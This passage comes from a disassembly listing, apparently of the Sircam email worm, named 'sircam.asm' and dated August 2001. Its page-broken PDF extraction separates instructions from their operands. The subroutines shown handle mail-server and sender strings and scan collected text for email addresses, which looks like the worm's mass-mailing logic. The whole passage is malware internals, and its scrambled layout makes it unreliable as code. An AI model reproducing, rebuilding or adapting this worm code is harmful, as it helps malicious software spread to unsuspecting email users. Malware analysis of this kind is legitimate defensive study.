Fri Aug 10 12:42:44 2001
621
dd 98978E5Bh, 919B7959h, 8B9E6B9Bh, 70999F7Fh, 7679h, 0FFFFFFFFh
dd 1
dd 20h
; DATA XREF: sub_416C54+2F3\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_417118
proc near
var_158
var_C
var_5
var_4
=
=
=
=
; CODE XREF: sub_4171C0+D0\031p
byte ptr -158h
dword ptr -0Ch
byte ptr -5
dword ptr -4
push
mov
add
push
mov
mov
call
xor
push
push
push
mov
mov
lea
call
mov
mov
mov
lea
call
call
xor
ebp
ebp, esp
esp, 0FFFFFEA8h
ebx
[ebp+var_4], eax
eax, [ebp+var_4]
sub_4038D8
eax, eax
ebp
offset loc_4171B2
dword ptr fs:[eax]
fs:[eax], esp
edx, [ebp+var_4]
eax, [ebp+var_158]
sub_404E16
eax, ds:off_41DC30
byte ptr [eax], 0
edx, 1
eax, [ebp+var_158]
sub_40510D
sub_40265C
ebx, ebx
lea
push
lea
mov
lea
call
call
inc
cmp
jnz
lea
call
call
dec
xor
pop
pop
pop
mov
push
; CODE XREF: sub_417118+71\031j
eax, [ebp+var_C]
eax
edx, [ebp+var_5]
ecx, 1
eax, [ebp+var_158]
sub_404EB8
sub_40265C
ebx
[ebp+var_C], 0
short loc_417168
eax, [ebp+var_158]
sub_404F80
sub_40265C
ebx
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_4171B9
loc_417168:
loc_4171A9:
sub_417118
; CODE XREF: CODE:004171B7\031j
lea
eax, [ebp+var_4]
call
sub_4034C8
retn
endp ; sp = -164h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4171B2:
; DATA XREF: sub_417118+18\030o
jmp
loc_402F60
sircam.asm
Fri Aug 10 12:42:44 2001
622
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_4171A9
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4171B9:
; DATA XREF: sub_417118+8C\030o
mov
pop
mov
pop
retn
eax, ebx
ebx
esp, ebp
ebp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_4171C0
proc near
var_14
var_10
var_C
var_8
var_4
arg_0
arg_4
arg_8
arg_C
=
=
=
=
=
=
=
=
=
dword ptr
dword ptr
dword ptr
dword ptr
dword ptr
byte ptr
dword ptr
dword ptr
dword ptr
; CODE XREF: sub_4190CC+AA2\031p
; start+563\031p
-14h
-10h
-0Ch
-8
-4
8
0Ch
10h
14h
push
mov
add
push
xor
mov
mov
mov
mov
mov
mov
call
mov
call
mov
call
mov
call
mov
call
mov
call
xor
push
push
push
mov
lea
mov
call
lea
mov
ebp
ebp, esp
esp, 0FFFFFFECh
ebx
ebx, ebx
[ebp+var_14], ebx
[ebp+var_10], ebx
[ebp+var_C], ecx
[ebp+var_8], edx
[ebp+var_4], eax
eax, [ebp+var_4]
sub_4038D8
eax, [ebp+var_8]
sub_4038D8
eax, [ebp+var_C]
sub_4038D8
eax, [ebp+arg_C]
sub_4038D8
eax, [ebp+arg_8]
sub_4038D8
eax, [ebp+arg_4]
sub_4038D8
eax, eax
ebp
offset loc_4172D2
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+var_10]
edx, offset aFa2sc ; "FA2sc"
sub_403560
eax, [ebp+var_10]
edx, offset aFa5michaela23@ ; "[email protected]
call
lea
mov
call
lea
mov
sub_403560
eax, [ebp+var_10]
edx, offset dword_417364
sub_403560
eax, [ebp+var_10]
edx, offset aFa9mgate_chell ; "FA9mgate.chello.at
call
mov
sub_403560
bl, 1
"...
"...
sircam.asm
Fri Aug 10 12:42:44 2001
cmp
jz
lea
push
mov
mov
mov
call
mov
mov
call
setnz
[ebp+arg_0], 0
short loc_417278
eax, [ebp+var_14]
eax
ecx, 2
edx, offset dword_4173E0
eax, [ebp+var_8]
sub_416A1C
eax, [ebp+var_14]
edx, offset dword_4173EC
sub_403834
bl
test
jz
mov
push
push
mov
push
mov
push
mov
call
push
push
mov
push
mov
mov
mov
call
; CODE XREF: sub_4171C0+90\030j
bl, bl
short loc_4172AA
eax, [ebp+arg_C]
eax
offset dword_4173EC
eax, [ebp+arg_8]
eax
eax, [ebp+arg_4]
eax
eax, [ebp+var_4]
sub_417118
eax
1
al, [ebp+arg_0]
eax
ecx, [ebp+var_C]
edx, [ebp+var_8]
eax, [ebp+var_4]
sub_416478
xor
pop
pop
pop
mov
push
; CODE XREF: sub_4171C0+BA\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_4172D9
loc_417278:
loc_4172AA:
loc_4172B7:
sub_4171C0
623
; CODE XREF: CODE:004172D7\031j
lea
eax, [ebp+var_14]
mov
edx, 5
call
sub_4034EC
lea
eax, [ebp+arg_4]
mov
edx, 3
call
sub_4034EC
retn
endp ; sp = -40h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4172D2:
; DATA XREF: sub_4171C0+4B\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_4172B7
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4172D9:
; DATA XREF: sub_4171C0+F2\030o
mov
eax, ebx
pop
ebx
mov
esp, ebp
pop
ebp
retn
10h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 5
aFa2sc
db ’FA2sc’,0
; DATA XREF: sub_4171C0+59\030o
sircam.asm
Fri Aug 10 12:42:44 2001
624
align 4
dd 0FFFFFFFFh, 5Ch
aFa5michaela23@ db ’[email protected]
; DATA XREF: sub_4171C0+66\030o
db ’
’,0
align 4
dd 0FFFFFFFFh, 0Bh
dword_417364
dd 31384146h, 31323733h, 202036h, 0FFFFFFFFh, 5Ch
; DATA XREF: sub_4171C0+73\030o
aFa9mgate_chell db ’FA9mgate.chello.at
; DATA XREF: sub_4171C0+80\030o
db ’
’,0
align 4
dd 0FFFFFFFFh, 1
dword_4173E0
dd 32h, 0FFFFFFFFh, 2
; DATA XREF: sub_4171C0+9B\030o
dword_4173EC
dd 6373h
; DATA XREF: sub_4171C0+AB\030o
; sub_4171C0+C0\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_4173F0
proc near
var_108
var_104
var_4
arg_0
=
=
=
=
; CODE XREF: sub_4177BC+D5\031p
; sub_4177BC+125\031p
dword ptr -108h
byte ptr -104h
dword ptr -4
dword ptr 8
push
mov
add
xor
mov
mov
xor
push
push
push
mov
mov
inc
lea
mov
mov
call
lea
lea
call
mov
push
push
lea
xor
mov
call
push
lea
mov
call
mov
mov
mov
mov
call
mov
mov
call
xor
ebp
ebp, esp
esp, 0FFFFFEF8h
eax, eax
[ebp+var_108], eax
[ebp+var_4], eax
eax, eax
ebp
offset loc_4174A1
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+arg_0]
dword ptr [eax-4]
edx, [ebp+var_104]
eax, [ebp+arg_0]
eax, [eax-4]
sub_40296C
edx, [ebp+var_104]
eax, [ebp+var_4]
sub_4036EC
eax, [ebp+arg_0]
dword ptr [eax-8]
[ebp+var_4]
ecx, [ebp+var_108]
edx, edx
eax, offset a9luv ; "9luv"
sub_415FAC
[ebp+var_108]
eax, [ebp+var_4]
edx, 3
sub_4037E4
eax, [ebp+arg_0]
eax, [eax-0Ch]
edx, [ebp+var_4]
ecx, [eax]
dword ptr [ecx+64h]
edx, 2
eax, [ebp+var_4]
sub_4071B8
eax, eax
’
’
sircam.asm
Fri Aug 10 12:42:44 2001
pop
pop
pop
mov
push
loc_41748D:
sub_4173F0
625
edx
ecx
ecx
fs:[eax], edx
offset loc_4174A8
; CODE XREF: CODE:004174A6\031j
lea
eax, [ebp+var_108]
call
sub_4034C8
lea
eax, [ebp+var_4]
call
sub_4034C8
retn
endp ; sp = -11Ch
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4174A1:
; DATA XREF: sub_4173F0+17\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_41748D
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4174A8:
; DATA XREF: sub_4173F0+98\030o
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
dd 0FFFFFFFFh, 4
a9luv
db ’9luv’,0
; DATA XREF: sub_4173F0+58\030o
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_4174BC
proc near
var_958
var_954
var_950
var_150
var_4
=
=
=
=
=
; CODE XREF: sub_4177BC+60\031p
dword ptr -958h
dword ptr -954h
byte ptr -950h
byte ptr -150h
dword ptr -4
push
mov
add
push
push
xor
mov
mov
mov
mov
xor
push
push
push
mov
mov
call
lea
mov
mov
mov
call
mov
lea
call
mov
lea
ebp
ebp, esp
esp, 0FFFFF6A8h
ebx
esi
edx, edx
[ebp+var_958], edx
[ebp+var_954], edx
esi, eax
ebx, offset dword_41EEDC
eax, eax
ebp
offset loc_41759F
dword ptr fs:[eax]
fs:[eax], esp
eax, ebx
sub_4034C8
ecx, [ebp+var_954]
edx, esi
eax, ds:dword_41EF14
esi, [eax]
dword ptr [esi+0Ch]
edx, [ebp+var_954]
eax, [ebp+var_150]
sub_404E16
edx, 1
eax, [ebp+var_150]
sircam.asm
Fri Aug 10 12:42:44 2001
call
call
sub_40510D
sub_40265C
lea
push
lea
mov
lea
call
call
lea
lea
mov
call
mov
mov
call
cmp
jnz
lea
call
call
xor
pop
pop
pop
mov
push
; CODE XREF: sub_4174BC+B3\031j
eax, [ebp+var_4]
eax
edx, [ebp+var_950]
ecx, 800h
eax, [ebp+var_150]
sub_404EB8
sub_40265C
eax, [ebp+var_958]
edx, [ebp+var_950]
ecx, 800h
sub_4035B0
edx, [ebp+var_958]
eax, ebx
sub_40372C
[ebp+var_4], 0
short loc_417529
eax, [ebp+var_150]
sub_404F80
sub_40265C
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_4175A6
loc_417529:
loc_41758E:
sub_4174BC
626
; CODE XREF: CODE:004175A4\031j
lea
eax, [ebp+var_958]
mov
edx, 2
call
sub_4034EC
retn
endp ; sp = -968h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41759F:
; DATA XREF: sub_4174BC+23\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_41758E
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4175A6:
; DATA XREF: sub_4174BC+CD\030o
pop
pop
mov
pop
retn
esi
ebx
esp, ebp
ebp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_4175AC
proc near
var_14
var_10
var_C
var_8
var_4
=
=
=
=
=
dword
dword
dword
dword
dword
push
mov
xor
push
push
push
ptr
ptr
ptr
ptr
ptr
; CODE XREF: sub_4177BC+65\031p
-14h
-10h
-0Ch
-8
-4
ebp
ebp, esp
ecx, ecx
ecx
ecx
ecx
sircam.asm
Fri Aug 10 12:42:44 2001
627
push
push
push
push
push
xor
push
push
push
mov
ecx
ecx
ebx
esi
edi
eax, eax
ebp
offset loc_417795
dword ptr fs:[eax]
fs:[eax], esp
mov
mov
call
mov
test
jle
lea
call
lea
call
lea
push
mov
sub
mov
mov
call
mov
mov
call
mov
dec
cmp
jle
; CODE XREF: sub_4175AC+1C8\031j
edx, ds:dword_41EEDC
eax, offset dword_4177AC
sub_4039B4
edi, eax
edi, edi
loc_417772
eax, [ebp+var_8]
sub_4034C8
eax, [ebp+var_C]
sub_4034C8
eax, [ebp+var_4]
eax
edx, edi
edx, 12h
ecx, 32h
eax, ds:dword_41EEDC
sub_40392C
edx, [ebp+var_4]
eax, offset dword_4177AC
sub_4039B4
esi, eax
esi
esi, 1
short loc_417678
mov
mov
mov
add
sub
jb
mov
mov
add
sub
jb
mov
cmp
jz
mov
cmp
jz
mov
mov
add
sub
jnb
eax, [ebp+var_4]
bl, [eax+esi-1]
eax, ebx
al, 9Fh
al, 1Ah
short loc_417653
eax, [ebp+var_4]
eax, ebx
al, 0BFh
al, 1Ah
short loc_417653
eax, [ebp+var_4]
bl, 2Eh
short loc_417653
eax, [ebp+var_4]
bl, 5Fh
short loc_417653
eax, [ebp+var_4]
eax, ebx
al, 0D0h
al, 0Ah
short loc_417670
lea
mov
mov
call
mov
lea
mov
; CODE XREF: sub_4175AC+7F\030j
; sub_4175AC+8A\030j ...
eax, [ebp+var_10]
edx, [ebp+var_4]
edx, ebx
sub_403670
edx, [ebp+var_10]
eax, [ebp+var_8]
ecx, [ebp+var_8]
loc_4175C7:
loc_41761E:
; CODE XREF: sub_4175AC+CA\031j
loc_417653:
sircam.asm
Fri Aug 10 12:42:44 2001
628
call
sub_403770
jmp
short loc_417672
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_417670:
; CODE XREF: sub_4175AC+A5\030j
xor
esi, esi
dec
cmp
jg
esi
esi, 1
short loc_41761E
loc_417672:
; CODE XREF: sub_4175AC+C2\030j
loc_417678:
; CODE XREF: sub_4175AC+70\030j
mov
edx, [ebp+var_4]
mov
eax, offset dword_4177AC
call
sub_4039B4
mov
esi, eax
inc
esi
jmp
short loc_4176EC
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41768A:
; CODE XREF: sub_4175AC+14A\031j
mov
mov
mov
add
sub
jb
mov
mov
add
sub
jb
mov
cmp
jz
mov
cmp
jz
mov
cmp
jz
mov
mov
add
sub
jnb
eax, [ebp+var_4]
bl, [eax+esi-1]
eax, ebx
al, 9Fh
al, 1Ah
short loc_4176C7
eax, [ebp+var_4]
eax, ebx
al, 0BFh
al, 1Ah
short loc_4176C7
eax, [ebp+var_4]
bl, 2Eh
short loc_4176C7
eax, [ebp+var_4]
bl, 2Dh
short loc_4176C7
eax, [ebp+var_4]
bl, 5Fh
short loc_4176C7
eax, [ebp+var_4]
eax, ebx
al, 0D0h
al, 0Ah
short loc_4176E1
loc_4176C7:
; CODE XREF: sub_4175AC+EB\030j
; sub_4175AC+F6\030j ...
lea
eax, [ebp+var_14]
mov
edx, [ebp+var_4]
mov
edx, ebx
call
sub_403670
mov
edx, [ebp+var_14]
lea
eax, [ebp+var_C]
call
sub_40372C
jmp
short loc_4176EB
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4176E1:
; CODE XREF: sub_4175AC+119\030j
mov
call
mov
eax, [ebp+var_4]
sub_403724
esi, eax
inc
esi
mov
eax, [ebp+var_4]
loc_4176EB:
; CODE XREF: sub_4175AC+133\030j
loc_4176EC:
; CODE XREF: sub_4175AC+DC\030j
sircam.asm
Fri Aug 10 12:42:44 2001
call
cmp
jl
push
push
push
lea
mov
call
mov
mov
add
sub
jb
mov
mov
call
test
jle
mov
cmp
jz
mov
call
cmp
jle
mov
call
mov
cmp
jz
mov
mov
mov
call
sub_403724
esi, eax
short loc_41768A
[ebp+var_8]
offset dword_4177AC
[ebp+var_C]
eax, [ebp+var_4]
edx, 3
sub_4037E4
eax, [ebp+var_4]
al, [eax]
al, 0D0h
al, 0Ah
short loc_417760
edx, [ebp+var_C]
eax, offset dword_4177B8
sub_4039B4
eax, eax
short loc_417760
eax, [ebp+var_4]
byte ptr [eax], 40h
short loc_417760
eax, [ebp+var_4]
sub_403724
eax, 5
short loc_417760
eax, [ebp+var_4]
sub_403724
edx, [ebp+var_4]
byte ptr [edx+eax-1], 40h
short loc_417760
edx, [ebp+var_4]
eax, ds:dword_41EF18
ecx, [eax]
dword ptr [ecx+34h]
loc_417760:
; CODE XREF: sub_4175AC+16D\030j
; sub_4175AC+17E\030j ...
lea
mov
mov
call
ecx, [edi+1]
eax, offset dword_41EEDC
edx, 1
sub_40396C
test
jnz
xor
pop
pop
pop
mov
push
; CODE XREF: sub_4175AC+2F\030j
edi, edi
loc_4175C7
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_41779C
loc_417772:
loc_417787:
sub_4175AC
629
; CODE XREF: CODE:0041779A\031j
lea
eax, [ebp+var_14]
mov
edx, 5
call
sub_4034EC
retn
endp ; sp = -34h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_417795:
; DATA XREF: sub_4175AC+10\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_417787
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41779C:
; DATA XREF: sub_4175AC+1D6\030o
pop
edi
sircam.asm
Fri Aug 10 12:42:44 2001
630
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 1
dword_4177AC
dd 40h, 0FFFFFFFFh, 1
; DATA XREF: sub_4175AC+21\030o
; sub_4175AC+60\030o ...
dword_4177B8
dd 2Eh
; DATA XREF: sub_4175AC+172\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_4177BC
proc near
var_24
var_20
var_1C
var_18
var_14
var_10
var_C
var_8
var_4
=
=
=
=
=
=
=
=
=
dword
dword
dword
dword
dword
dword
dword
dword
dword
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
; CODE XREF: sub_417C88+63\031p
-24h
-20h
-1Ch
-18h
-14h
-10h
-0Ch
-8
-4
push
mov
mov
ebp
ebp, esp
ecx, 4
push
push
dec
jnz
push
push
push
push
mov
mov
call
xor
push
push
push
mov
xor
mov
mov
mov
call
mov
mov
mov
call
mov
mov
call
dec
mov
test
jl
inc
xor
; CODE XREF: sub_4177BC+D\031j
0
0
ecx
short loc_4177C4
ecx
ebx
esi
edi
[ebp+var_8], eax
eax, [ebp+var_8]
sub_4038D8
eax, eax
ebp
offset loc_417915
dword ptr fs:[eax]
fs:[eax], esp
eax, eax
[ebp+var_4], eax
dl, 1
eax, ds:off_40BB68
sub_402BAC
[ebp+var_C], eax
eax, ds:dword_41EF18
edx, [eax]
dword ptr [edx+40h]
eax, ds:dword_41EF14
edx, [eax]
dword ptr [edx+14h]
eax
esi, eax
esi, esi
short loc_41782A
esi
ebx, ebx
mov
eax, ebx
loc_4177C4:
loc_41781A:
; CODE XREF: sub_4177BC+6C\031j
sircam.asm
Fri Aug 10 12:42:44 2001
631
call
call
inc
dec
jnz
sub_4174BC
sub_4175AC
ebx
esi
short loc_41781A
mov
mov
call
xor
mov
mov
mov
call
dec
mov
test
jle
mov
; CODE XREF: sub_4177BC+59\030j
eax, ds:dword_41EF18
edx, [eax]
dword ptr [edx+7Ch]
eax, eax
[ebp+var_10], eax
eax, ds:dword_41EF18
edx, [eax]
dword ptr [edx+14h]
eax
esi, eax
esi, esi
loc_4178DA
ebx, 1
loc_41782A:
loc_417853:
; CODE XREF: sub_4177BC+118\031j
lea
edx, [ebp+var_18]
mov
eax, [ebp+var_14]
call
sub_406D54
mov
eax, [ebp+var_18]
push
eax
lea
ecx, [ebp+var_20]
mov
edx, ebx
mov
eax, ds:dword_41EF18
mov
edi, [eax]
call
dword ptr [edi+0Ch]
mov
eax, [ebp+var_20]
lea
edx, [ebp+var_1C]
call
sub_406D54
mov
edx, [ebp+var_1C]
pop
eax
call
sub_403834
jz
short loc_4178C3
cmp
[ebp+var_10], 1F4h
jnz
short loc_4178A6
push
ebp
call
sub_4173F0
pop
ecx
mov
eax, [ebp+var_C]
mov
edx, [eax]
call
dword ptr [edx+40h]
xor
eax, eax
mov
[ebp+var_10], eax
jmp
short loc_4178C3
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4178A6:
lea
mov
mov
mov
call
mov
mov
mov
call
inc
; CODE XREF: sub_4177BC+D2\030j
ecx, [ebp+var_24]
edx, ebx
eax, ds:dword_41EF18
edi, [eax]
dword ptr [edi+0Ch]
edx, [ebp+var_24]
eax, [ebp+var_C]
ecx, [eax]
dword ptr [ecx+34h]
[ebp+var_10]
loc_4178C3:
lea
mov
mov
mov
ecx,
edx,
eax,
edi,
; CODE XREF: sub_4177BC+C9\030j
; sub_4177BC+E8\030j
[ebp+var_14]
ebx
ds:dword_41EF18
[eax]
sircam.asm
Fri Aug 10 12:42:44 2001
call
inc
dec
jnz
dword ptr [edi+0Ch]
ebx
esi
loc_417853
cmp
jz
push
call
pop
[ebp+var_10], 0
short loc_4178E7
ebp
sub_4173F0
ecx
mov
call
mov
xor
pop
pop
pop
mov
push
; CODE XREF: sub_4177BC+122\030j
eax, [ebp+var_C]
sub_402BDC
ebx, [ebp+var_4]
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_41791C
loc_4178DA:
; CODE XREF: sub_4177BC+8C\030j
loc_4178E7:
loc_4178FF:
sub_4177BC
632
; CODE XREF: CODE:0041791A\031j
lea
eax, [ebp+var_24]
mov
edx, 5
call
sub_4034EC
lea
eax, [ebp+var_8]
call
sub_4034C8
retn
endp ; sp = -20h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_417915:
; DATA XREF: sub_4177BC+21\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_4178FF
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41791C:
; DATA XREF: sub_4177BC+13E\030o
mov
eax, ebx
pop
edi
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_417928
proc near
var_17C
var_178
var_174
var_170
var_16C
var_168
var_164
var_160
var_158
var_154
var_8
var_4
=
=
=
=
=
=
=
=
=
=
=
=
dword ptr -17Ch
dword ptr -178h
dword ptr -174h
dword ptr -170h
dword ptr -16Ch
dword ptr -168h
dword ptr -164h
byte ptr -160h
dword ptr -158h
dword ptr -154h
dword ptr -8
dword ptr -4
; CODE XREF: sub_417928+111\031p
; sub_417C20+3D\031p ...
sircam.asm
arg_0
